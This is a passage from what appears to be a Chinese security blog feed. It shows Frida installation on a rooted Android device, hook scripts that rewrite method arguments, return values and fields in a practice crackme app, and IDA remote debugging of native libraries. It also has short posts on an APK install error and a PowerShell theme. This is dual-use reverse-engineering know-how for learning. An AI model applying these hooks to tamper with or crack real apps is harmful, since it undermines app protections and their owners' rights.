C:\Users\PF&gt;pip list</span><br><span class="line">Package           Version</span><br><span class="line">----------------- -------</span><br><span class="line">colorama          0.4.6</span><br><span class="line">frida             16.2.1</span><br><span class="line">frida-tools       12.3.0</span><br><span class="line">pip               24.0</span><br><span class="line">prompt-toolkit    3.0.43</span><br><span class="line">Pygments          2.17.2</span><br><span class="line">setuptools        69.1.0</span><br><span class="line">typing_extensions 4.10.0</span><br><span class="line">wcwidth           0.2.13</span><br><span class="line">wheel             0.42.0</span><br></pre></td></tr></table></figure><p>上面frida 是16.2.1，所以也下载16.2.1</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/b11813499c27ca00139e8b0d7648f5fb_1721117588001.png" alt><br>解压，push到手机，给执行权限并运行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">adb push frida-server-16.2.1-android-arm64 /data/local/tmp</span><br><span class="line"></span><br><span class="line">adb shell</span><br><span class="line">su</span><br><span class="line">OnePlus3:/data/local/tmp # chmod +x frida-server-16.2.1-android-arm64</span><br><span class="line">OnePlus3:/data/local/tmp # ./frida-server-16.2.1-android-arm64</span><br></pre></td></tr></table></figure><p>自定义端口运行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./frida-server-16.2.1-android-arm64 -l 0.0.0.0:6666</span><br></pre></td></tr></table></figure><p>通过在电脑端，执行下面命令，可以看到手机进程说明没问题了 </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">frida-ps -U</span><br></pre></td></tr></table></figure><h1 id="Frida基础知识"><a href="#Frida基础知识" class="headerlink" title="Frida基础知识"></a>Frida基础知识</h1><h2 id="1-基础指令"><a href="#1-基础指令" class="headerlink" title="1.基础指令"></a>1.基础指令</h2><p>1.frida-ps -U  查看当前手机运行的进程<br>2.frida-ps –help 查看help指令</p><h2 id="2-操作模式"><a href="#2-操作模式" class="headerlink" title="2.操作模式:"></a>2.操作模式:</h2><table><thead><tr><th>操作模式</th><th>描述</th><th>优点</th><th>主要用途</th></tr></thead><tbody><tr><td>CLI（命令行）模式</td><td>通过命令行直接将JavaScript脚本注入进程中，对进程进行操作</td><td>便于直接注入和操作</td><td>在较小规模的操作或者需求比较简单的场景中使用</td></tr><tr><td>RPC模式</td><td>使用Python进行JavaScript脚本的注入工作，实际对进程进行操作的还是JavaScript脚本，可以通过RPC传输给Python脚本来进行复杂数据的处理</td><td>在对复杂数据的处理上可以通过RPC传输给Python脚本来进行，有利于减少被注入进程的性能损耗</td><td>在大规模调用中更加普遍，特别是对于复杂数据处理的需求</td></tr></tbody></table><h2 id="3-注入模式与启动命令"><a href="#3-注入模式与启动命令" class="headerlink" title="3.注入模式与启动命令"></a>3.注入模式与启动命令</h2><table><thead><tr><th>注入模式</th><th>描述</th><th>命令或参数</th><th>优点</th><th>主要用途</th></tr></thead><tbody><tr><td>Spawn模式</td><td>将启动App的权利交由Frida来控制，即使目标App已经启动，在使用Frida注入程序时还是会重新启动App</td><td>在CLI模式中，Frida通过加上 -f 参数指定包名以spawn模式操作App</td><td>适合于需要在App启动时即进行注入的场景，可以在App启动时即捕获其行为</td><td>当需要监控App从启动开始的所有行为时使用</td></tr><tr><td>Attach模式</td><td>在目标App已经启动的情况下，Frida通过ptrace注入程序从而执行Hook的操作</td><td>在CLI模式中，如果不添加 -f 参数，则默认会通过attach模式注入App</td><td>适合于已经运行的App，不会重新启动App，对用户体验影响较小</td><td>在App已经启动，或者我们只关心特定时刻或特定功能的行为时使用</td></tr><tr><td>Spawn模式</td><td></td><td></td><td></td><td></td></tr></tbody></table><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">frida -U -f 包名 -l hook.js</span><br></pre></td></tr></table></figure><p>attach模式 ：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">frida -U 进程名 -l hook.js</span><br></pre></td></tr></table></figure><p><code>logcat |grep &quot;D.zj2595&quot;</code>日志捕获<br><code>adb connect 127.0.0.1:62001</code>模拟器端口转发</p><h2 id="4-基础语法"><a href="#4-基础语法" class="headerlink" title="4. 基础语法"></a>4. 基础语法</h2><table><thead><tr><th>API名称</th><th>描述</th></tr></thead><tbody><tr><td><code>Java.use(className)</code></td><td>获取指定的Java类并使其在JavaScript代码中可用。</td></tr><tr><td><code>Java.perform(callback)</code></td><td>确保回调函数在Java的主线程上执行。</td></tr><tr><td><code>Java.choose(className, callbacks)</code></td><td>枚举指定类的所有实例。</td></tr><tr><td><code>Java.cast(obj, cls)</code></td><td>将一个Java对象转换成另一个Java类的实例。</td></tr><tr><td><code>Java.enumerateLoadedClasses(callbacks)</code></td><td>枚举进程中已经加载的所有Java类。</td></tr><tr><td><code>Java.enumerateClassLoaders(callbacks)</code></td><td>枚举进程中存在的所有Java类加载器。</td></tr><tr><td><code>Java.enumerateMethods(targetClassMethod)</code></td><td>枚举指定类的所有方法。</td></tr></tbody></table><h2 id="5-日志输出语法区别"><a href="#5-日志输出语法区别" class="headerlink" title="5.日志输出语法区别"></a>5.日志输出语法区别</h2><table><thead><tr><th>日志方法</th><th>描述</th><th>区别</th></tr></thead><tbody><tr><td><code>console.log()</code></td><td>使用JavaScript直接进行日志打印</td><td>多用于在CLI模式中，<code>console.log()</code>直接输出到命令行界面，使用户可以实时查看。在RPC模式中，<code>console.log()</code>同样输出在命令行，但可能被Python脚本的输出内容掩盖。</td></tr><tr><td><code>send()</code></td><td>Frida的专有方法，用于发送数据或日志到外部Python脚本</td><td>多用于RPC模式中，它允许JavaScript脚本发送数据到Python脚本，Python脚本可以进一步处理或记录这些数据。</td></tr></tbody></table><h2 id="6-Hook框架模板"><a href="#6-Hook框架模板" class="headerlink" title="6.Hook框架模板"></a>6.Hook框架模板</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">function main()&#123;</span><br><span class="line">    Java.perform(function()&#123;</span><br><span class="line">        hookTest1();</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br><span class="line">setImmediate(main);</span><br></pre></td></tr></table></figure><h2 id="7-Frida常用API"><a href="#7-Frida常用API" class="headerlink" title="7.Frida常用API"></a>7.Frida常用API</h2><h3 id="1-Hook普通方法、打印参数和修改返回值"><a href="#1-Hook普通方法、打印参数和修改返回值" class="headerlink" title="1.Hook普通方法、打印参数和修改返回值"></a>1.Hook普通方法、打印参数和修改返回值</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">//定义一个名为hookTest1的函数</span><br><span class="line">function hookTest1()&#123;</span><br><span class="line">//获取一个名为&quot;类名&quot;的Java类，并将其实例赋值给JavaScript变量utils</span><br><span class="line">    var utils = Java.use(&quot;类名&quot;);</span><br><span class="line">    //修改&quot;类名&quot;的&quot;method&quot;方法的实现。这个新的实现会接收两个参数（a和b）</span><br><span class="line">    utils.method.implementation = function(a, b)&#123;</span><br><span class="line">    //将参数a和b的值改为123和456。</span><br><span class="line">        a = 123;</span><br><span class="line">        b = 456;</span><br><span class="line">        //调用修改过的&quot;method&quot;方法，并将返回值存储在`retval`变量中</span><br><span class="line">        var retval = this.method(a, b);</span><br><span class="line">        //在控制台上打印参数a，b的值以及&quot;method&quot;方法的返回值</span><br><span class="line">        console.log(a, b, retval);</span><br><span class="line">        //返回&quot;method&quot;方法的返回值</span><br><span class="line">        return retval;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实例</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">//定义一个名为hookTest1的函数</span><br><span class="line">function hookTest1()&#123;</span><br><span class="line">//获取一个名为&quot;类名&quot;的Java类，并将其实例赋值给JavaScript变量utils</span><br><span class="line">    var utils = Java.use(&quot;com.zj.wuaipojie.Demo&quot;);</span><br><span class="line">    //修改&quot;类名&quot;的&quot;a&quot;方法的实现。这个新的实现会接收两个参数（a和b）</span><br><span class="line">    utils.a.implementation = function(teststr)&#123;</span><br><span class="line">    //将参数a和b的值改为123和456。</span><br><span class="line">        teststr = &quot;hahaha,frida!&quot;;</span><br><span class="line">        //调用修改过的&quot;a&quot;方法，并将返回值存储在`retval`变量中</span><br><span class="line">        var retval = this.a(teststr);</span><br><span class="line">        //在控制台上打印参数a，b的值以及&quot;a&quot;方法的返回值</span><br><span class="line">        console.log(teststr, retval);</span><br><span class="line">        //返回&quot;a&quot;方法的返回值</span><br><span class="line">        return retval;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">function main()&#123;</span><br><span class="line">    Java.perform(function()&#123;</span><br><span class="line">        hookTest1();</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br><span class="line">setImmediate(main);</span><br></pre></td></tr></table></figure><p>hook</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">frida -U wuaipojie -l hook.js</span><br></pre></td></tr></table></figure><h3 id="2-Hook重载参数"><a href="#2-Hook重载参数" class="headerlink" title="2.Hook重载参数"></a>2.Hook重载参数</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">// .overload()</span><br><span class="line">// .overload(&apos;自定义参数&apos;)</span><br><span class="line">// .overload(&apos;int&apos;)</span><br><span class="line">function hookTest2()&#123;</span><br><span class="line">    var utils = Java.use(&quot;com.zj.wuaipojie.Demo&quot;);</span><br><span class="line">    //overload定义重载函数，根据函数的参数类型填</span><br><span class="line">    utils.Inner.overload(&apos;com.zj.wuaipojie.Demo$Animal&apos;,&apos;java.lang.String&apos;).implementation = function(a, b)&#123;</span><br><span class="line">        b = &quot;自定义参数已经被修改&quot;;</span><br><span class="line">        this.Inner(a,b);</span><br><span class="line">        console.log(b);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-Hook构造函数"><a href="#3-Hook构造函数" class="headerlink" title="3.Hook构造函数"></a>3.Hook构造函数</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">function hookTest3()&#123;</span><br><span class="line">    var utils = Java.use(&quot;com.zj.wuaipojie.Demo&quot;);</span><br><span class="line">    //修改类的构造函数的实现，$init表示构造函数</span><br><span class="line">    utils.$init.overload(&apos;java.lang.String&apos;).implementation = function(str)&#123;</span><br><span class="line">        // 原来的参数</span><br><span class="line">        console.log(str);</span><br><span class="line">        str = &quot;52破解hook33333&quot;;</span><br><span class="line">        this.$init(str);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-Hook字段"><a href="#4-Hook字段" class="headerlink" title="4.Hook字段"></a>4.Hook字段</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">function hookTest5()&#123;</span><br><span class="line">    Java.perform(function()&#123;</span><br><span class="line">        //静态字段的修改</span><br><span class="line">        var utils = Java.use(&quot;com.zj.wuaipojie.Demo&quot;);</span><br><span class="line">        //修改类的静态字段&quot;flag&quot;的值</span><br><span class="line">        utils.staticField.value = &quot;我是被修改的静态变量&quot;;</span><br><span class="line">        console.log(utils.staticField.value);</span><br><span class="line">        //非静态字段的修改</span><br><span class="line">        //使用`Java.choose()`枚举类的所有实例</span><br><span class="line">        Java.choose(&quot;com.zj.wuaipojie.Demo&quot;, &#123;</span><br><span class="line">            onMatch: function(obj)&#123;</span><br><span class="line">            //修改实例的非静态字段&quot;_privateInt&quot;的值为&quot;123456&quot;，并修改非静态字段&quot;privateInt&quot;的值为9999。</span><br><span class="line">                // obj._privateInt.value = &quot;123456&quot;; //字段名与函数名相同 前面加个下划线</span><br><span class="line">                console.log(&quot;here!&quot;)</span><br><span class="line">                obj.publicInt.value = 8888;</span><br><span class="line">                obj.privateInt.value = 9999;</span><br><span class="line">                //由于样本代码的原因，需要再主动调用一下Demo类日志输出函数test()，才能在adb的log界面看到输出改变</span><br><span class="line">                obj.test();</span><br><span class="line">                console.log(obj.privateInt.value )</span><br><span class="line">            &#125;,</span><br><span class="line">            onComplete: function()&#123;</span><br><span class="line"></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">        </span><br><span class="line">    &#125;);</span><br><span class="line">    </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="5-Hook内部类"><a href="#5-Hook内部类" class="headerlink" title="5.Hook内部类"></a>5.Hook内部类</h3><p>不过好像不太行，eeeeeeee没有输出</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">function hookTest6()&#123;</span><br><span class="line">    Java.perform(function()&#123;</span><br><span class="line">        //内部类</span><br><span class="line">        var innerClass = Java.use(&quot;com.zj.wuaipojie.Demo$innerClass&quot;);</span><br><span class="line">        console.log(innerClass);</span><br><span class="line">        innerClass.$init.implementation = function()&#123;</span><br><span class="line">            console.log(&quot;eeeeeeee&quot;);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="6-枚举所有的类与类的所有方法"><a href="#6-枚举所有的类与类的所有方法" class="headerlink" title="6.枚举所有的类与类的所有方法"></a>6.枚举所有的类与类的所有方法</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">function hookTest7()&#123;</span><br><span class="line">    Java.perform(function()&#123;</span><br><span class="line">        //枚举所有的类与类的所有方法,异步枚举</span><br><span class="line">        Java.enumerateLoadedClasses(&#123;</span><br><span class="line">            onMatch: function(name,handle)&#123;</span><br><span class="line">            //过滤类名</span><br><span class="line">                if(name.indexOf(&quot;com.zj.wuaipojie.Demo&quot;) !=-1)&#123;</span><br><span class="line">                    console.log(name);</span><br><span class="line">                    var clazz =Java.use(name);</span><br><span class="line">                    console.log(clazz);</span><br><span class="line">                    var methods = clazz.class.getDeclaredMethods();</span><br><span class="line">                    console.log(methods);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;,</span><br><span class="line">            onComplete: function()&#123;&#125;</span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="7-枚举所有方法"><a href="#7-枚举所有方法" class="headerlink" title="7.枚举所有方法"></a>7.枚举所有方法</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">function hookTest8()&#123;</span><br><span class="line">    Java.perform(function()&#123;</span><br><span class="line">        var Demo = Java.use(&quot;com.zj.wuaipojie.Demo&quot;);</span><br><span class="line">        //getDeclaredMethods枚举所有方法</span><br><span class="line">        var methods =Demo.class.getDeclaredMethods();</span><br><span class="line">        for(var j=0; j &lt; methods.length; j++)&#123;</span><br><span class="line">            var methodName = methods[j].getName();</span><br><span class="line">            console.log(methodName);</span><br><span class="line">            for(var k=0; k&lt;Demo[methodName].overloads.length;k++)&#123;</span><br><span class="line">                Demo[methodName].overloads[k].implementation = function()&#123;</span><br><span class="line">                    for(var i=0;i&lt;arguments.length;i++)&#123;</span><br><span class="line">                        console.log(arguments[i]);</span><br><span class="line">                    &#125;</span><br><span class="line">                    return this[methodName].apply(this,arguments);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="8-主动调用"><a href="#8-主动调用" class="headerlink" title="8.主动调用"></a>8.主动调用</h3><p>静态方法</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">function hookTest9()&#123;</span><br><span class="line">    Java.perform(function()&#123;</span><br><span class="line">        var ClassName=Java.use(&quot;com.zj.wuaipojie.Encode&quot;); </span><br><span class="line">        var ret = ClassName.encode(&quot;aaaaaaaaaaaa&quot;);</span><br><span class="line">        console.log(ret);</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>非静态方法</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">function hookTest10()&#123;</span><br><span class="line">    var ret = null;</span><br><span class="line">    Java.perform(function () &#123;</span><br><span class="line">        Java.choose(&quot;com.zj.wuaipojie.Demo&quot;,&#123;    //要hook的类</span><br><span class="line">            onMatch:function(instance)&#123;</span><br><span class="line">                ret=instance.privateFunc(&quot;aaaaaaa&quot;); //要hook的方法</span><br><span class="line">            &#125;,</span><br><span class="line">            onComplete:function()&#123;</span><br><span class="line">            // console.log(&quot;result: &quot; + ret);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;)</span><br><span class="line">    //return ret;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;Frida安装&quot;&gt;&lt;a href=&quot;#Frida安装&quot; class=&quot;headerlink&quot; title=&quot;Frida安装&quot;&gt;&lt;/a&gt;Frida安装&lt;/h1&gt;&lt;h2 id=&quot;python虚拟环境安装&quot;&gt;&lt;a href=&quot;#python虚拟环境安装&quot; class=&quot;
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-03" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-03/"/>
    
    
      <category term="安卓安全,Frida" scheme="https://www.giantbranch.cn/tags/%E5%AE%89%E5%8D%93%E5%AE%89%E5%85%A8-Frida/"/>
    
  </entry>
  
  <entry>
    <title>安卓so动态调试</title>
    <link href="https://www.giantbranch.cn/2024/03/15/%E5%AE%89%E5%8D%93so%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95/"/>
    <id>https://www.giantbranch.cn/2024/03/15/安卓so动态调试/</id>
    <published>2024-03-14T16:00:00.000Z</published>
    <updated>2024-12-01T02:32:51.026Z</updated>
    
    <content type="html"><![CDATA[<h1 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境"></a>实验环境</h1><blockquote><p>windows10<br>IDA PRO 7.5<br>root的安卓实体机</p></blockquote><h1 id="环境准备"><a href="#环境准备" class="headerlink" title="环境准备"></a>环境准备</h1><p>上传远程调试程序到安卓手机，并给执行权限，之后就可以运行起来了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">adb push android_server64 /data/local/tmp</span><br><span class="line">redfin:/data/local/tmp # chmod +x android_server64</span><br><span class="line">redfin:/data/local/tmp # ./android_server64</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br><span class="line">adb shell am start -n com.zj.wuaipojie/.ui.ChallengeEight</span><br><span class="line">adb shell am start -D -n com.zj.wuaipojie/.ui.ChallengeEight （去掉-D 则表示不以debug模式启动app）</span><br><span class="line">adb forward tcp:23946 tcp:23946 (端口转发)</span><br><span class="line">adb forward tcp:8700 jdwp:PID (pid监听)</span><br><span class="line">jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700 (jdb挂起)</span><br></pre></td></tr></table></figure><p>PS：若不是以debug启动则不需要输入后两条命令</p><p>调试SO应该不用调试模式</p><h1 id="IDA调试"><a href="#IDA调试" class="headerlink" title="IDA调试"></a>IDA调试</h1><p>IDA打开so文件后，找到要调试的代码并下断点（F2）</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/81a4b288b67ba51da47e9184d6ee810c_1721115778074.png" alt></p><p>之后附加到进程，选择那个包，之后继续运行即可</p><h1 id="IDA指令跟踪"><a href="#IDA指令跟踪" class="headerlink" title="IDA指令跟踪"></a>IDA指令跟踪</h1><p>在要跟踪的代码前后都下好断点，暂停在第一个断点</p><p>调试器-追踪-跟踪选项</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/d47895299a8035f855d7c1677e2856b6_1721115778075.png" alt><br>设置为指令跟踪</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/9ba211d1d0d3380c204bae6a17478e72_1721115778087.png" alt></p><p>之后点击继续运行程序即可</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;实验环境&quot;&gt;&lt;a href=&quot;#实验环境&quot; class=&quot;headerlink&quot; title=&quot;实验环境&quot;&gt;&lt;/a&gt;实验环境&lt;/h1&gt;&lt;blockquote&gt;
&lt;p&gt;windows10&lt;br&gt;IDA PRO 7.5&lt;br&gt;root的安卓实体机&lt;/p&gt;
&lt;/bloc
      
    
    </summary>
    
      <category term="2024-03" scheme="https://www.giantbranch.cn/categories/2024-03/"/>
    
    
      <category term="安卓安全" scheme="https://www.giantbranch.cn/tags/%E5%AE%89%E5%8D%93%E5%AE%89%E5%85%A8/"/>
    
  </entry>
  
  <entry>
    <title>安卓修改so后安装出错</title>
    <link href="https://www.giantbranch.cn/2024/03/13/%E5%AE%89%E5%8D%93%E4%BF%AE%E6%94%B9so%E5%90%8E%E5%AE%89%E8%A3%85%E5%87%BA%E9%94%99/"/>
    <id>https://www.giantbranch.cn/2024/03/13/安卓修改so后安装出错/</id>
    <published>2024-03-12T16:00:00.000Z</published>
    <updated>2024-12-01T01:59:59.405Z</updated>
    
    <content type="html"><![CDATA[<h1 id="报错"><a href="#报错" class="headerlink" title="报错"></a>报错</h1><p>有时候修改完so后，无法安装，报错</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">INSTALL_FAILED_INVALID_APK: Failed to extract native libraries, res=-2</span><br></pre></td></tr></table></figure><h1 id="原因"><a href="#原因" class="headerlink" title="原因"></a>原因</h1><p>主要是因为在AndroidManifest.xml的application标签中的属性extractNativeLibs为false</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">android:extractNativeLibs=&quot;false&quot;</span><br></pre></td></tr></table></figure><h1 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h1><p>将其删除，或者改为true</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">android:extractNativeLibs=&quot;true&quot;</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;报错&quot;&gt;&lt;a href=&quot;#报错&quot; class=&quot;headerlink&quot; title=&quot;报错&quot;&gt;&lt;/a&gt;报错&lt;/h1&gt;&lt;p&gt;有时候修改完so后，无法安装，报错&lt;/p&gt;
&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td c
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-03" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-03/"/>
    
    
      <category term="安卓安全" scheme="https://www.giantbranch.cn/tags/%E5%AE%89%E5%8D%93%E5%AE%89%E5%85%A8/"/>
    
  </entry>
  
  <entry>
    <title>powershell配置主题</title>
    <link href="https://www.giantbranch.cn/2024/03/12/powershell%E9%85%8D%E7%BD%AE%E4%B8%BB%E9%A2%98/"/>
    <id>https://www.giantbranch.cn/2024/03/12/powershell配置主题/</id>
    <published>2024-03-11T16:00:00.000Z</published>
    <updated>2024-12-01T01:59:59.877Z</updated>
    
    <content type="html"><![CDATA[<p>商店搜Windows Terminal安装</p><p>打开Windows Terminal，需要开代理，安装OhMyPosh</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">winget install JanDeDobbeleer.OhMyPosh -s winget</span><br></pre></td></tr></table></figure><p>安装字体，向下找到 Meslo安装</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">oh-my-posh font install</span><br></pre></td></tr></table></figure><p>之后通过<code>CTRL + SHIFT + ,</code>  快捷键，defaults标签加多如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&quot;profiles&quot;: </span><br><span class="line">   &#123;</span><br><span class="line">       &quot;defaults&quot;:</span><br><span class="line">       &#123;</span><br><span class="line">           &quot;font&quot;:</span><br><span class="line">           &#123;</span><br><span class="line">               &quot;face&quot;: &quot;MesloLGM Nerd Font&quot;</span><br><span class="line">           &#125;</span><br><span class="line">       &#125;,</span><br></pre></td></tr></table></figure><p>新建下面文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"> ~  echo $profile</span><br><span class="line">C:\Users\PF\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1</span><br></pre></td></tr></table></figure><p>编辑内容为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">oh-my-posh init pwsh --config 